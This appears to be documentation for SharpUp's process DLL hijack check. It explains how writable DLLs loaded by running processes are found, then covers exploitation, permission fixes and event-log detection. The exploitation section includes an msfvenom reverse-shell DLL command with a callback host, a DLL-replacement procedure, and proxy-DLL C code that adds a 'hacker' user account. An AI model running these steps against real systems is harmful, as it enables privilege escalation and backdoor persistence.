Overview
The Process DLL Hijack check identifies DLL files loaded by running processes that have weak file permissions. If a DLL used by a privileged process can be modified, an attacker can inject malicious code that executes with the process’s privileges.
This check excludes known DLLs (registered in the KnownDLLs registry key) and system32 DLLs which are typically protected.
How It Works
SharpUp performs the following:
- Reads known DLLs from
HKLM:\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDlls
- Enumerates all running processes
- For each process, enumerates loaded DLL modules
- Excludes DLLs in
C:\Windows directory
- Excludes KnownDLLs
- Checks if remaining DLLs are writable
- Reports hijackable DLLs with associated process information
Example Output
[+] Hijackable DLL: C:\Program Files\CustomApp\helper.dll
[+] Associated Process is CustomApp with PID 1234
[+] Potentially Hijackable DLL: C:\Program Files\AnotherApp\utils.dll
[!] Files in C:\Program Files and C:\Program Files (x86) may be false positives. Permissions should be verified manually.
[+] Associated Process is AnotherApp with PID 5678
Exploitation
Method 1: Direct DLL Replacement
# Backup original DLL
$dllPath = "C:\Program Files\CustomApp\helper.dll"
Copy-Item $dllPath "$dllPath.bak"
# Create malicious DLL
# (Use msfvenom or custom DLL)
# msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f dll -o malicious.dll
# Replace DLL
Copy-Item C:\temp\malicious.dll $dllPath -Force
# Wait for process restart or reboot
Method 2: DLL Proxying
// Create proxy DLL that forwards to original while executing payload
#include <windows.h>
// Forward declarations for original DLL functions
#pragma comment(linker, "/export:OriginalFunction1=helper_original.OriginalFunction1")
#pragma comment(linker, "/export:OriginalFunction2=helper_original.OriginalFunction2")
BOOL APIENTRY DllMain(HMODULE hModule, DWORD reason, LPVOID lpReserved) {
if (reason == DLL_PROCESS_ATTACH) {
// Malicious payload
STARTUPINFO si = { sizeof(si) };
PROCESS_INFORMATION pi;
CreateProcess(NULL, "cmd.exe /c net user hacker P@ss /add", NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi);
// Application continues to work normally
}
return TRUE;
}
Identify Writable DLLs
# Check DLL permissions
Get-Process | ForEach-Object {
try {
$_.Modules | Where-Object {
$_.FileName -notmatch "C:\\Windows" -and
(Test-Path $_.FileName)
} | ForEach-Object {
$acl = Get-Acl $_.FileName
$writable = $acl.Access | Where-Object {
$_.IdentityReference -match "Users|Everyone" -and
$_.FileSystemRights -match "Write|Modify"
}
if ($writable) {
Write-Host "[!] Writable DLL: $($_.FileName)"
Write-Host " Process: $($Process.Name) (PID: $($Process.Id))"
}
}
} catch { }
}
Fix DLL Permissions
$dllPath = "C:\Program Files\CustomApp\helper.dll"
# Set secure permissions
icacls $dllPath /reset
icacls $dllPath /inheritance:r
icacls $dllPath /grant:r "SYSTEM:F"
icacls $dllPath /grant:r "Administrators:F"
icacls $dllPath /grant:r "Users:RX"
Detection
Defensive Monitoring
# Monitor DLL modifications
# Enable file system auditing on application DLL folders
# Monitor Event ID 4663 for WriteData operations on DLL files
Get-WinEvent -FilterHashtable @{LogName='Security'; ID=4663} |
Where-Object {$_.Message -match '\.dll' -and $_.Message -match 'WriteData'}